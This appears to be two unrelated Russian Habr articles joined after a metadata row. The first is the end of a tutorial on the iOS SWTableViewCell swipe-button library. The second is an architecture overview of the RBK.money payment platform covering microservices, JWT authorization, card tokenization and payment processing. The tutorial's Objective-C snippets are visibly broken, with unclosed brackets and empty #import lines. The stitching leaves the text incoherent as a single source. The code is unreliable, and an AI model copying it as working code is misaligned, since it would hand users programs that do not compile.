Шаблон проекта XCode для демонстрационного приложения
=====================================================
Я настоятельно рекомендую вам создать проект демонстрационного приложения с нуля. Однако для того чтобы сфокусироваться исключительно на использовании библиотеки SWTableViewCell, я подготовил шаблон проекта для вас. Вы может [скачать его здесь](https://www.dropbox.com/s/mxb9icmkxkfpw67/SwipeTableCellTemplate.zip). Если вы знаете как как создать пользовательское представление таблицы, вы должны понять как работает этот шаблон. После того как вы скачаете его, можете попробовать скомпилировать и выполнить проект. Приложение должно отобразить список изображений-паттернов (любезно предоставленных [thepatternlibrary.com](http://thepatternlibrary.com/)).
Добавление библиотеки SWTableViewCell в наш проект
==================================================
SWTableViewCell разработана Крисом Ванделом (Chris Wendel) и абсолютно бесплатно доступна на GitHub. Для её использования, сначала скачайте её с GitHub, распакуйте архив и добавьте распакованные файла в группу SWTableViewCell или PodFiles в вашем проекте.
Использование SWTableViewCell
=============================
Библиотеку SWTableViewCell очень просто использовать. Если вы знакомы с UITableView и UITableViewCell, вы не должны испытать трудностей с её использованием. Вот что вы должны сделать:
1. Выбрать в качестве класса, который будет обслуживать ячейки нашей таблицы SWTableViewCell вместо UITableViewCell. SWTableViewCell на самом деле наследуется от UITableViewCell, предоставляя дополнительные инструменты отображения кнопок опций при свайпе по ячейке таблицы.
2. Модифицировать метод *cellForRowAtIndexPath:* для создания новых кнопок — SWTableViewCell предоставляет два свойства с именами *leftUtilityButtons* и *rightUtilityButtons*. Эти два свойства предоставляют собой наборы кнопок опций, показываемых при свайпах вправо и влево соответственно. Вы должны предварительно создать массивы кнопок опций и присвоить им все необходимые свойства. При этом не обязательно назначать наборы кнопок сразу обоим свойствам *leftUtilityButtons* и *rightUtilityButtons*.
3. Реализовать протокол SWTableViewCellDelegate. Методы этого протокола позволяют разработчикам управлять действиями дополнительных кнопок. Когда пользователь сделает свайп по ячейке таблицы, эта ячейка покажет набор кнопок опций. В зависимости от направления свайпа, при нажатии на кнопку опции будет вызван один из методов *didTriggerRightUtilityButtonWithIndex:* или *didTriggerLeftUtilityButtonWithIndex:*. Вы должны реализовать эти методы для реакции на нажатия кнопок.
Чтож давайте изменим шаблон приложения для использования SWTableViewCell.
Изменение класса обслуживающего Table View Cell на SWTableViewCell
==================================================================
Для начала откройте файл CustomTableViewCell.h и измените родительский класс на SWTableViewCell. Ваш код должен выглядеть примерно так после внесения изменений:
```
#import
#import "SWTableViewCell.h"
@interface CustomTableViewCell : SWTableViewCell
@property (weak, nonatomic) IBOutlet UIImageView \*patternImageView;
@property (weak, nonatomic) IBOutlet UILabel \*patternLabel;
@end
```
Создание кнопок опций
=====================
Теперь мы изменим метод *cellForRowAtIndexPath:*в файле SwipeTableViewController.m для создания кнопок опций ячейки. Но прежде чем мы сделаем это, добавьте оператор импорта библиотеке и укажите реализуете протокол SWTableViewCellDelegate в файле SwipeTableViewController.h. Мы поговорим о реализации протокола чуть позже, в следующем разделе, для начала давайте внесем изменения в код. После внесения изменений он должен выглядеть примерно так:
```
#import
#import "SWTableViewCell.h"
@interface SwipeTableViewController : UITableViewController
@end
```
Откройте файл SwipeTableViewController.m и внесите изменения в метод *cellForRowAtIndexPath:*
```
- (UITableViewCell *)tableView:(UITableView *)tableView cellForRowAtIndexPath:(NSIndexPath *)indexPath
{
static NSString *cellIdentifier = @"Cell";
CustomTableViewCell *cell = (CustomTableViewCell *)[tableView dequeueReusableCellWithIdentifier:cellIdentifier forIndexPath:indexPath];
// Add utility buttons
NSMutableArray *leftUtilityButtons = [NSMutableArray new];
NSMutableArray *rightUtilityButtons = [NSMutableArray new];
[leftUtilityButtons sw_addUtilityButtonWithColor:
[UIColor colorWithRed:1.0f green:1.0f blue:0.35f alpha:0.7]
icon:[UIImage imageNamed:@"like.png";
[leftUtilityButtons sw_addUtilityButtonWithColor:
[UIColor colorWithRed:1.0f green:1.0f blue:0.35f alpha:0.7]
icon:[UIImage imageNamed:@"message.png";
[leftUtilityButtons sw_addUtilityButtonWithColor:
[UIColor colorWithRed:1.0f green:1.0f blue:0.35f alpha:0.7]
icon:[UIImage imageNamed:@"facebook.png";
[leftUtilityButtons sw_addUtilityButtonWithColor:
[UIColor colorWithRed:1.0f green:1.0f blue:0.35f alpha:0.7]
icon:[UIImage imageNamed:@"twitter.png";
[rightUtilityButtons sw_addUtilityButtonWithColor:
[UIColor colorWithRed:0.78f green:0.78f blue:0.8f alpha:1.0]
title:@"More"];
[rightUtilityButtons sw_addUtilityButtonWithColor:
[UIColor colorWithRed:1.0f green:0.231f blue:0.188 alpha:1.0f]
title:@"Delete"];
cell.leftUtilityButtons = leftUtilityButtons;
cell.rightUtilityButtons = rightUtilityButtons;
cell.delegate = self;
// Configure the cell...
cell.patternLabel.text = [patterns objectAtIndex:indexPath.row];
cell.patternImageView.image = [UIImage imageNamed:[patternImages objectAtIndex:indexPath.row;
return cell;
}
```
В этом примере мы создали два набора кнопок опций. Один из них будет показан при свайпе влево, другой при свайпе вправо. Мы создали набор кнопок для шаринга и поместили его в переменную leftUtilityButtons, а также мы создали кнопки «More» (Дополнительно) и «Delete» и поместили их в переменную rightUtilityButtons. Как видно из кода выше, вы можете просто создать массив NSMutableArray и его элементов добавить в него необходимые кнопки с помощью метода *sw\_addUtilityButtonWithColor:*.
Теперь вы готовы к тому чтобы скомпилировать и запустить тестовое приложение. После запуска попробуйте провести по любой ячейке таблицы и вы должны увидеть кнопки опций ячейки. Тем не менее кнопки не работают и мы знаем почему. Мы не реализовали некоторые методы протокола SWTableViewCellDelegate. Что-ж давайте двигаться дальше.
Реаализация протокола SWTableViewCellDelegate
=============================================
Протокол SWTableViewCellDelegate предоставляет методы для управления действиями на нажатия кнопок опций. Внимательный читатель, конечно же заметил что SwipeTableViewController назначен в качестве делегата SWTableViewCell в коде выше. Что-ж, реализуем следующие два метода в SwipeTableViewController.m:
1. Метод *didTriggerLeftUtilityButtonWithIndex:* — срабатывает когда нажата любая из кнопок опций в левой части ячейки
2. Метод *didTriggerRightUtilityButtonWithIndex:* — срабатывает когда нажата любая из кнопок опций в правой части ячейки
Добавьте следующий код в SwipeTableViewController.m:
```
- (void)swipeableTableViewCell:(SWTableViewCell *)cell didTriggerLeftUtilityButtonWithIndex:(NSInteger)index {
switch (index) {
case 0:
{
UIAlertView *alertView = [[UIAlertView alloc] initWithTitle:@"Bookmark" message:@"Save to favorites successfully" delegate:nil cancelButtonTitle:@"OK" otherButtonTitles: nil];
[alertView show];
break;
}
case 1:
{
UIAlertView *alertView = [[UIAlertView alloc] initWithTitle:@"Email sent" message:@"Just sent the image to your INBOX" delegate:nil cancelButtonTitle:@"OK" otherButtonTitles: nil];
[alertView show];
break;
}
case 2:
{
UIAlertView *alertView = [[UIAlertView alloc] initWithTitle:@"Facebook Sharing" message:@"Just shared the pattern image on Facebook" delegate:nil cancelButtonTitle:@"OK" otherButtonTitles: nil];
[alertView show];
break;
}
case 3:
{
UIAlertView *alertView = [[UIAlertView alloc] initWithTitle:@"Twitter Sharing" message:@"Just shared the pattern image on Twitter" delegate:nil cancelButtonTitle:@"OK" otherButtonTitles: nil];
[alertView show];
}
default:
break;
}
}
```
Чтобы сохранить простоту нашего примера, мы просто показываем оповещение, когда нажимается любая из кнопок шаринга. В реальном приложении вы можете реализовать настоящий шаринг в Facebook и Twitter, например.
Для кнопок опций, находящихся в правой части ячейки мы реализовали метод *didTriggerRightUtilityButtonWithIndex:* со следующим кодом:
```
- (void)swipeableTableViewCell:(SWTableViewCell *)cell didTriggerRightUtilityButtonWithIndex:(NSInteger)index {
switch (index) {
case 0:
{
// More button is pressed
UIActionSheet *shareActionSheet = [[UIActionSheet alloc] initWithTitle:@"Share" delegate:nil cancelButtonTitle:@"Cancel" destructiveButtonTitle:nil otherButtonTitles:@"Share on Facebook", @"Share on Twitter", nil];
[shareActionSheet showInView:self.view];
[cell hideUtilityButtonsAnimated:YES];
break;
}
case 1:
{
// Delete button is pressed
NSIndexPath *cellIndexPath = [self.tableView indexPathForCell:cell];
[patterns removeObjectAtIndex:cellIndexPath.row];
[patternImages removeObjectAtIndex:cellIndexPath.row];
[self.tableView deleteRowsAtIndexPaths:@[cellIndexPath] withRowAnimation:UITableViewRowAnimationLeft];
break;
}
default:
break;
}
}
```
И снова код прост и понятен. Когда нажимается кнопка «More» (Дополнительно), приложение показывает панель действий (action sheet) содержащий список социальных сетей для шаринга. Для опции «delete» (удаление), нам нужно просто удалить элемент из списка шаблонов и массива patternImages, а затем вызвать метод *deleteRowsAtIndexPaths:* для удаления записи из отображаемой таблицы.
Вот и все! Теперь вы можете скомпилировать и запустить ваше приложение. Кнопки опций должны работать как-то так:
Подведем итоги
==============
SWTableViewCell позволяет очень просто реализовать функцию swipe-for-options для таблиц. При разработке вашего следующего приложения, задумайтесь о реализации этой функции. Я думаю это поднимет уровень вашего приложения для пользователя.
И хотя мы можем реализовать данный функционал при помощи множества сторонних библиотек или [реализовать его своими собственными силами](http://www.teehanlax.com/blog/reproducing-the-ios-7-mail-apps-interface/), я надеюсь что Apple рассмотрит возможность предоставления данного инструмента разработчикам в следующих версиях iOS.
Вы можете [скачать готовый проект](https://www.dropbox.com/s/qmajopkacrido29/SwipeTableCell.zip), если он вдруг вам понадобится. | https://habr.com/ru/post/255293/ | null | ru | null |
# RBKmoney Payments под капотом — логика работы платежной платформы
Привет, Хабр! Продолжаю публикацию цикла про внутренности платежной платформы RBK.money, начатую в этом [посте](https://habr.com/ru/company/rbkmoney/blog/443518/). Сегодня речь пойдет про логическую схему процессинга, конкретные микросервисы и их взаимосвязь друг с другом, как логически разделены сервисы, обрабатывающие каждый свой кусок бизнес-логики, почему ядро процессинга ничего не знает про номера ваших платежных карт и как внутри платформы бегают платежи. Также, чуть более подробно раскрою тему о том, как мы обеспечиваем высокую доступность и масштабирование для обработки высокой нагрузки.
Обзорная логическая схема и общие подходы
-----------------------------------------
В общем случае схема основных элементов той части процессинга, что отвечает за платежи выглядит так.
Логически внутри себя мы разделяем области ответственности на 3 домена:
* внешняя зона, сущности, которые находятся в интернете, такие как JS-приложения нашей платежной формы (это туда вы вводите свои карточные данные), бекенды наших клиентов-мерчантов, а также процессинговые шлюзы наших банков-партнеров и провайдеров других платежных методов;
* внутренняя высокодоступная зона, там живут микросервисы, которые обеспечивают работу непосредственно платежного шлюза и заведуют списанием денег, учетом их внутри нашей системы и прочими онлайн-сервисами, которые характеризуются требованием "должен быть доступен всегда, несмотря на любые отказы внутри наших ДЦ";
+ здесь отдельно выделяется зона сервисов, работающих непосредственно с полными данными держателей карт, эти сервисы имеют отдельные требования, выдвигаемые МПС и подлежащие обязательной сертификации в рамках стандартов PCI-DSS. Подробнее, почему именно такое разделение расскажем ниже;
* внутренняя зона, где выдвигаются меньшие требования к доступности предоставляемых сервисов либо времени их ответа, в классическом понимании — это бек-офис. Хотя, разумеется, здесь мы тоже стараемся обеспечить принцип "доступен всегда", просто тратим на это меньше усилий;
Внутри каждой из зон расположены микросервисы, выполняющие свои части обработки бизнес-логики. На вход они принимают RPC-вызовы, на выходе генерируют обработанные по заложенным алгоритмам данные, также оформленные в виде вызовов других микросервисов по цепочке.
Для обеспечения масштабируемости мы стараемся хранить состояния в как можно меньшем количестве мест. Stateless-сервисы на схеме не имеют связей с персистентными хранилищами, stateful, соответственно, подключены к ним. В целом используем несколько ограниченных сервисов для персистентного хранения состояний — для основной части процессинга это кластеры Riak KV, для сопутствующих сервисов — PostgreSQL, для асинхронной обработки очередей используем Кафку.
Для обеспечения высокой доступности сервисы разворачиваем в нескольких экземплярах, обычно от 3 до 5.
Stateless-сервисы масштабировать получается легко, просто поднимаем нужное нам количество экземпляров на разных виртуалках, они регистрируются в Consul-е, становятся доступны для резолвинга по консульному DNS и начинают получать вызовы от других сервисов, обрабатывая полученные данные и отправляя их дальше.
Stateful-сервисы, а точнее он у нас основной один и на схеме показан как Machinegun, реализуют высокодоступный интерфейс (распределенная архитектура основана на Erlang Distribution), а для обеспечения гарантий очередности и распределенной блокировки — синхронизацию через Consul KV. Это вкратце, подробное описание будет в отдельном посте.
Riak из коробки обеспечивает высокодоступное персистентное masterless-хранилище, мы его особо никак не готовим, конфиг практически дефолтный. При текущем профиле нагрузки нам хватает 5 нод в кластере, развернутых на отдельных хостах. Важное замечание — мы практически не используем индексы и большие выборки данных, работаем с конкретными ключами.
Там, где реализовать KV-схему слишком затратно, используем базы PostgeSQL с репликацией, либо вообще однонодовые решения, так как налить нужные события в случае отказа мы всегда можем из онлайновой части через Machinegun.
Цветовое разделение микросервисов на схеме указывает на языки, на которых они написаны — светло-зеленые — это Java-приложения, светло-синие — Erlang.
Все сервисы работают в Docker-контейнерах, которые являются артефактами сборки на CI и располагаются в локальном Docker Registry. Разворачивает сервисы на продакшене SaltStack, конфигурация которого находится в приватном Github-репозитории.
Разработчики самостоятельно делают запросы на изменение в этот репозиторий, где описывают требования к сервису — указывают нужную версию и параметры вроде размера выделяемой под контейнер памяти, передаваемый переменных окружения и прочего. Дальше, после ручного подтверждения запроса на изменение авторизованными сотрудниками (у нас это девопс, поддержка и информационная безопасность), CD автоматом раскатывает экземпляры контейнеров с новыми версиями на хосты продуктовой среды.
Также, каждый сервис пишет логи в понятном для Elasticsearch формате. Файлы логов подхватываются Filebeat-ом, который записывает их в кластер Elasticsearch. Таким образом, несмотря на то, что доступа на продуктовую среду у разработчиков нет, у них всегда есть возможность провести дебаг и посмотреть, что происходит с их сервисами.
Взаимодействие с внешним миром
------------------------------
Любое изменение состояния платформы у нас происходит исключительно через вызовы соответствующих методов публичных API. Мы не используем классических веб-приложений и генерацию контента на серверной стороне, фактически все, что вы видите в качестве UI — это вьюхи написанные на JS над нашими публичными API. В принципе, любое действие в платформе можно совершить цепочкой curl-вызовов из консоли, чем мы и пользуемся. В частности, для написания интеграционных тестов (они у нас написаны на JS в виде библиотеки), которые на CI при каждой сборке проверяют все публичные методы.
Также подобный подход решает все проблемы внешних интеграций с нашей платформой, позволяя получить единый протокол как для конечного пользователя в виде красивой формы ввода платежных данных, так и host-to-host для прямой интеграции со сторонними процессингами, использующими исключительно межсерверное взаимодействие.
Помимо полного покрытия интеграционными тестами, используем подходы staging update, в распределённой архитектуре это сделать довольно легко, например, выкатывая только по одному сервису из каждой группы за один проход с последующей паузой и анализом логов и графиков.
Это позволяет нам деплоиться практически круглосуточно, включая пятничные вечера, без особого страха выкатить что-то неработоспособное либо быстро откатиться, сделав простой revert коммита с изменением, пока никто не заметил.
Регистрация в платформе и публичные API
---------------------------------------
Перед любым вызовом публичного метода нам нужно авторизовать и аутентифицировать клиента. Для того, чтобы в платформе появился клиент, нужен сервис, который возьмет на себя все взаимодействие с конечным пользователем, предоставит интерфейсы регистрации, ввода и сброса паролей, контроля безопасности и прочей обвязки.
Здесь мы не стали изобретать велосипед, а просто интегрировали опенсорсное решение от Redhat — [Keycloak](https://www.keycloak.org/). Перед началом любого взаимодействия с нами вам потребуется зарегистрироваться в платформе, что, собственно, через Keycloak и происходит.
После успешной аутентификации в сервисе клиент получает JWT. Его мы используем в дальнейшем для авторизации — на стороне Keycloak-а можно задать произвольные поля, описывающие роли, которые будут встроены в виде простой json-структуры в JWT и подписаны приватным ключом сервиса.
*Одна из особенностей JWT состоит в том, что эта структура подписана приватным ключом сервера, соответственно для авторизации списка ролей и других ее объектов нам не нужно обращаться к сервису авторизации, процесс полностью развязан. Сервисы CAPI при запуске читают публичный ключ Keycloak и используют его для авторизации вызовов публичных методов API.*
*Как мы придумывали схему отзыва ключей — история отдельная и достойна своего собственного поста.*
Итак, JWT у нас получен, мы можем использовать его для аутентификации. Здесь вступает в действие группа микросервисов Common API, на схеме указанных как CAPI и CAPI-DSS, реализующих следующие функции:
* авторизацию полученных сообщений. Каждый вызов публичного API предваряется HTTP-заголовком Authorizaion: Bearer {JWT}. Сервисы группы Common API используют его для проверки подписанных данных имеющимся публичным ключом сервиса авторизации;
* валидацию принятых данных. Поскольку схема описана в виде спецификации OpenAPI, также известной как Swagger, валидировать данные можно очень легко и с малой долей вероятности получить управляющие команды в потоке данных. Это положительным образом сказывается на безопасности сервиса в целом;
* трансляцию форматов данных из публичного REST JSON во внутренний бинарный Thrift;
* обрамление транспортной обвязки данными типа уникального trace\_id и передачу события дальше вовнутрь платформы сервису, который управляет бизнес-логикой и знает, что такое, например, платеж.
Таких сервисов у нас много, они достаточно простые и дубовые, не хранят никаких состояний, соответственно для линейного масштабирования производительности мы их просто разворачиваем на свободных мощностях в нужных нам количествах.
### PCI-DSS и открытые карточные данные
Как видно на схеме, таких групп сервисов у нас две — основная, Common API, отвечает за обработку всех потоков данных, не имеющих в себе открытых данных держателей карт, и вторая, Common API PCI-DSS, которая непосредственно с этими картами работает. Внутри они абсолютно одинаковы, однако мы их физически разделили и расположили на разных железках.
Это сделано для того, чтобы минимизировать количество мест хранения и обработки карточных данных, уменьшить риски утечки этих данных и область сертификации PCI-DSS. А это, поверьте, достаточно трудоемкий и затратный процесс — как платежная компания, мы обязаны каждый год проходить платную сертификацию на соответствие стандартам МПС, и чем меньше серверов и сервисов в ней участвует, тем быстрее и легче проходить этот процесс. Ну и на безопасности это отражается самым позитивным образом.
Обработка платежных данных и токенизация
----------------------------------------
Итак, мы хотим запустить платеж и списать деньги с карты плательщика.
Представим, что запрос на это пришел в виде цепочки вызовов методов нашего публичного API, который был инициирован вами, как плательщиком после того, как вы зашли в интернет-магазин, собрали корзину товаров, нажали "Купить", ввели свои карточные данные в нашу платежную форму и нажали кнопку "Оплатить".
*Мы предоставляем разные бизнес-процессы списания денег, но наиболее интересным мне кажется процесс с использованием счетов к оплате. У нас в платформе можно создать счет к оплате, или инвойс, который будет являться контейнером для платежей.*
*Внутри одного инвойса можно поочередно делать попытки его оплаты, т. е. создавать платежи до того момента, пока очередной платеж не окажется успешным. Например, можно пробовать оплатить инвойс с разных карт, кошельков и любых других платежных методов. Если на одной из карт не будет денег, можно попробовать другую и так далее.*
*Это положительно сказывается на конверсии и пользовательском опыте.*
### Конечный автомат инвойса
Внутри платформы эта цепочка превращается во взаимодействия по следующему маршруту:
* перед выдачей контента в ваш браузер наш клиент-мерчант интегрировался с нашей платформой, зарегистрировался у нас и получил JWT для авторизации;
* со своего бекенда мерчант вызвал метод [createInvoice()](https://developer.rbk.money/api/#operation/createInvoice), то есть создал счет к оплате в нашей платформе. Фактически, бекенд мерчанта отправил HTTP POST-запрос следующего содержания на наш эндпоинт:
```
curl -X POST \
https://api.rbk.money/v2/processing/invoices \
-H 'Authorization: Bearer {JWT}' \
-H 'Content-Type: application/json; charset=utf-8' \
-H 'X-Request-ID: 1554417367' \
-H 'cache-control: no-cache' \
-d '{
"shopID": "TEST",
"dueDate": "2019-03-28T17:41:32.569Z",
"amount": 6000,
"currency": "RUB",
"product": "Order num 12345",
"description": "Delicious meals",
"cart": [
{
"price": 5000,
"product": "Sandwich",
"quantity": 1,
"taxMode": {
"rate": "10%",
"type": "InvoiceLineTaxVAT"
}
},
{
"price": 1000,
"product": "Cola",
"quantity": 1,
"taxMode": {
"rate": "18%",
"type": "InvoiceLineTaxVAT"
}
}
],
"metadata":
{
"order_id": "Internal order num 13123298761"
}
}'
```
Запрос отбалансировался на одно из эрланговых приложений группы Common API, которое проверило его валидность, сходило в сервис Bender, где получило ключ идемпотентности, перевело в трифт и отправило запрос на группу сервисов Hellgate. Экземпляр Hellgate выполнил бизнес-проверки, например убедился, что владелец данного JWT в принципе не заблокирован, может создавать инвойсы и вообще взаимодействовать с платформой и начал создание инвойса.
*Можно сказать, что Hellgate является ядром нашего процессинга, так как именно он оперирует бизнес-сущностями, знает, как запустить платеж, кого нужно пнуть, чтобы этот платеж превратился в реальное списание денег, как вычислить маршрут этого платежа, кому сказать, чтобы это списание отразилось на балансах, вычислить комиссии и прочую обвязку.*
*Что характерно, также не хранит никаких состояний и также легко масштабируется. Но нам не хотелось бы потерять инвойс, или получить двойное списание денег с карты в случае network split-а или отказа Hellgate-а по любой причине. Нужно эти данные персистентно сохранить.*
Здесь в действие вступает третий микросервис, а именно Machinegun. Hellgate отправляет в Machinegun вызов "создать автомат" с полезной нагрузкой в виде параметров запроса. Machinegun упорядочивает параллельные запросы и с помощью Hellgate из параметров создает первое событие – InvoiceCreated. Которое потом сам и записывает в Riak и очереди. После этого, на изначальный запрос по цепочке в обратном порядке возвращается успешный ответ.
*Вкратце Machinegun — это такая СУБД с таймерами над любой другой СУБД, в текущей версии платформы — над Riak-ом. Она предоставляет интерфейс, позволяющий управлять независимыми автоматами, и предоставляет гарантии идемпотентности и очередности записи. Именно MG не даст записать событие в автомат вне очереди, если к нему вдруг придут с таким запросом несколько HG.*
*Автомат — уникальная в рамках платформы сущность, состоящая из идентификатора, набора данных в виде списка событий и таймера. Конечное состояние автомата рассчитывается из обработки всех его событий, которые инициируют его переход в соответствующее состояние. Мы используем этот подход для работы с бизнес-сущностями, описывая их, как конечные автоматы. Фактически, все созданные нашими мерчантами инвойсы, как и платежи в них — это конечные автоматы со своей логикой перехода между состояниями.*
*Интерфейс работы с таймерами в Machinegun позволяет от другого сервиса вместе с событиями для записи получить просьбу вида "я хочу продолжить обработку этого автомата через 15 лет". Такие отложенные задачи реализуются на встроенных таймерах. На практике они используются очень часто – периодические обращения в банк, автоматические действия с платежами из-за долгой неактивности и т. д.*
*Кстати, исходные коды Machinegun открыты под лицензией Apache 2.0 в нашем [публичном репозитории](https://github.com/rbkmoney/machinegun). Мы надеемся, что этот сервис может быть полезен сообществу.*
*Подробное описание работы Machinegun-а и вообще того, как мы готовим распределенку, тянет на отдельный большой пост, поэтому более подробно здесь останавливаться не буду.*
### Нюансы авторизации внешних клиентов
После успешного сохранения Hellgate возвращает данные в CAPI, тот преобразовывает бинарную трифтовую структуру в красиво оформленный JSON, готовый к отправке в бекенд мерчанта:
```
{
"invoice": {
"amount": 6000,
"cart": [
{
"cost": 5000,
"price": 5000,
"product": "Sandwich",
"quantity": 1,
"taxMode": {
"rate": "10%",
"type": "InvoiceLineTaxVAT"
}
},
{
"cost": 1000,
"price": 1000,
"product": "Cola",
"quantity": 1,
"taxMode": {
"rate": "18%",
"type": "InvoiceLineTaxVAT"
}
}
],
"createdAt": "2019-04-04T23:00:31.565518Z",
"currency": "RUB",
"description": "Delicious meals",
"dueDate": "2019-04-05T00:00:30.889000Z",
"id": "18xtygvzFaa",
"metadata": {
"order_id": "Internal order num 13123298761"
},
"product": "Order num 12345",
"shopID": "TEST",
"status": "unpaid"
},
"invoiceAccessToken": {
"payload": "{JWT}"
}
}
```
Казалось бы, можно отдавать контент в браузер плательщику и начинать процесс оплаты, но тут мы подумали, что не все мерчанты будут готовы самостоятельно реализовывать авторизацию на клиентской стороне, поэтому ее реализовали сами. Подход заключается в том, что CAPI генерирует еще один JWT, позволяющий запускать процессы токенизации карт и управлять конкретным инвойсом и добавляет его в возвращаемую структуру инвойса.
Пример ролей, описанных внутри подобного JWT:
```
"resource_access": {
"common-api": {
"roles": [
"invoices.18xtygvzFaa.payments:read",
"invoices.18xtygvzFaa.payments:write",
"invoices.18xtygvzFaa:read",
"payment_resources:write"
]
}
}
```
Данный JWT имеет ограниченное количество попыток использования и настраиваемый нами срок жизни, что позволяет публиковать его в браузере плательщика. Даже если он будет перехвачен, максимум что сможет сделать злоумышленник — это заплатить за чужой инвойс или прочитать его данные. Причем, поскольку платежный автомат не оперирует открытыми карточными данными, максимум, что злоумышленник сможет увидеть — это маскированный номер карты вида `4242 42** **** 4242`, сумму платежа и, опционально, корзину товаров.
Созданный инвойс и ключ доступа к нему позволяют начинать платежный бизнес-процесс. Отдаем идентификатор инвойса и его JWT в браузер плательщику и передаем управление нашим JS-приложениям.
Наше JS-приложение Checkout реализовывает интерфейс взаимодействия с вами, как плательщиком — рисует форму ввода платежных данных, запускает платеж, получает его финальный статус, показывает веселую или грустную Точку.
### Токенизация и карточные данные
Но Checkout не работает с карточными данными. Как было указано выше, нам хочется хранить чувствительные данные в виде данных держателей карт в как можно меньшем количестве мест. Для этого мы реализовываем токенизацию.
Здесь вступает в действие JS-библиотека Tokenizer. Когда вы вводите свою карту в поля ввода и нажимаете "Оплатить", она перехватывает эти данные и асинхронно отправляет их к нам в процессинг, вызывая метод [createPaymentResource()](https://developer.rbk.money/api/#operation/createPaymentResource).
Этот запрос балансируется на отдельные приложения CAPI-DSS, которые также авторизуют запрос, только уже проверяя инвойсовый JWT, валидируют данные и отправляют трифтом в сервис хранения карточных данных. На схеме он указан как CDS — Card Data Storage.
Основные задачи этого сервиса:
* получить на вход чувствительные данные, в нашем случае — данные вашей карты;
* зашифровать эти данные ключом шифрования данных;
* сгенерировать некое случайное значение, используемое в виде ключа;
* сохранить по этому ключу зашифрованные данные в своем кластере Riak;
* вернуть ключ в виде токена платежных данных сервису CAPI-DSS.
Попутно сервис решает еще кучу важных задач, таких как генерация ключей для шифровки ключей, безопасный ввод этих ключей, перешифровка данных, контроль затирания CVV после проведения платежа и прочее, но это выходит за рамки данного поста.
*Здесь не обошлось без защиты от возможности выстрелить себе в ногу. Существует ненулевая вероятность того, что приватный JWT, призванный авторизовывать запросы с бекенда, будет опубликован в вебе в браузер клиента. Для того, чтобы этого не случилось, мы встроили защиту — вызвать метод [createPaymentResource()](https://developer.rbk.money/api/#operation/createPaymentResource) можно только с ключом авторизации инвойса. При попытке использовать приватный JWT платформа вернет ошибку HTTP/401.*
После выполнения запроса токенизации Tokenizer возвращает полученный токен в Checkout и на этом свою работу заканчивает.
### Бизнес-процесс платежного автомата
Checkout запускает процесс платежа, а именно — вызывает метод [createPayment()](https://developer.rbk.money/api/#operation/createPayment), передав в качестве аргумента полученный раньше токен карточных данных и запускает процесс поллинга событий, фактически, раз в секунду вызывая метод API [getInvoiceEvents()](https://developer.rbk.money/api/#operation/getInvoiceEvents).
Эти запросы через CAPI попадают в Hellgate, который начинает реализовывать платежный бизнес-процесс, при этом не оперируя карточными данными:
* в первую очередь Hellgate идет в сервис управления конфигурациями — Dominant и получает текущую ревизию конфигурации домена. В ней записаны все правила, по которым будет выполняться данный платеж, то, в какой банк он попадет на авторизацию, какие проводки комиссий будут записаны и прочее;
+ у сервиса управления участниками, сейчас это часть HG, узнает данные о внутренних номерах счетов мерчанта в пользу которого осуществляется платеж, применяет суммы комиссий, готовит план проводок и запихивает его в сервис Shumway. Этот сервис отвечает за управление информацией о движении денег по счетам участников сделки при проведении платежа. В плане проводок находится инструкция "заморозить возможное движение средств по указанным в плане счетам участников сделки";
+ обогащает данные платежа, обращаясь к дополнительным сервисам, например в Binbase для того, чтобы узнать страну банка-эмитента, выпустившего карту и ее тип, например "золотая, кредитная";
+ обращается в сервис инспектора, как правило — это Аntifraud для того, чтобы получить скоринг платежа и принять решение о выборе терминала, покрывающего выданный скорингом уровень риска. Например, для низкорисковых платежей может использоваться терминал без 3D-Secure, а платеж, получивший фатальный уровень риска на этом свою жизнь и закончит;
+ обращается в сервис определения ошибок, Faultdetector и на основе полученных от него данных выбирает маршрут проведения платежа — адаптер банковского протокола, имеющий в текущий момент наименьшее количество ошибок и наиболее высокую вероятность успешного проведения платежа;
+ отправляет запрос в выбранный адаптер банковского протокола, пусть в данном случае это будет YellowBank Adapter, "авторизовать указанную сумму с этого токена".
Адаптер протокола по полученному токену обращается в CDS, получает расшифрованные карточные данные, переводит их в специфичный для банка протокол, и в общем случае, получает авторизацию — подтверждение от банка-эквайера о том, что указанная сумма заморожена на счете плательщика.
Именно в этот момент вы получаете СМС с сообщением о списании денежных средств с вашей карты от вашего банка, хотя на самом деле средства по факту пока только заморожены на вашем счете.
Адаптер уведомляет HG об успешной авторизации, из сервиса CDS удаляется ваш CVV-код и на этом этап взаимодействия заканчивается. Управление возвращается в HG.
В зависимости от указанного при вызове [createPayment()](https://developer.rbk.money/api/#operation/createPayment) мерчантом бизнес-процесса платежа HG ожидает со внешнего API вызовы метода захвата авторизации, т. е. подтверждения списания денег с вашей карты, либо делает это сразу же самостоятельно, в том случае, если мерчант выбрал схему одностадийного платежа.
*Как правило, большинство мерчантов использует одностадийный платеж, однако есть категории бизнеса, которые в момент получения авторизации еще не знают итоговой суммы списания. Такое часто случается в туристической индустрии, когда вы бронируете тур на одну сумму, а уже после подтверждения брони, сумма уточняется и может отличаться от той, что была авторизована вначале.*
*Несмотря на то, что сумма подтверждения может быть исключительно равной или меньшей суммы авторизации, здесь есть подводные камни. Представьте, что вы оплачиваете с карты товар или услугу в валюте, отличной от валюты вашего банковского счета, к которому привязана карта.*
*На момент авторизации на вашем счете блокируется сумма исходя из курса обмена валют на день авторизации. Поскольку платеж может находиться в статусе "авторизован" (несмотря на то, что у МПС есть рекомендации по максимальному сроку и сейчас составляет 3 суток) несколько дней, захват авторизации будет проводиться по курсу того дня, в который она была произведена.*
*Таким образом, вы несете валютные риски, которые могут быть как в вашу пользу, так и против вас, особенно в ситуации высокой волатильности на рынке валют.*
Для захвата авторизации происходит тот же процесс общения с адаптером протокола, что и для ее получения, и в случае успеха, HG применяет план проводок по счетам внутри Shumway, и переводит платеж в статус "Оплачен". Именно в этот момент у нас, как у платежной системы возникают финансовые обязательства перед участниками сделки.
Стоит также заметить, что любые изменения состояния автомата инвойса, к которым относится процесс платежа, записываются Hellgate-ом в Machinegun, обеспечивая персистентность данных и обогащая инвойс новыми событиями.
### Синхронизация состояний автомата платежа и UI
В то время, пока внутри платформы происходит фоновый процесс проведения платежа, Checkout поллит процессинг, запрашивая события. При получении определенных событий он отрисовывает текущее состояние платежа в виде, понятном человеку — рисует прелоадер, показывает экран "Ваш платеж успешно обработан" или "Платеж провести не удалось" либо переадресовывает браузер на страницу вашего банка-эмитента для ввода пароля 3D-Secure;
В случае неуспеха Checkout предложит выбрать другой метод оплаты либо попробовать еще раз, таким образом запустив новый платеж в рамках инвойса.
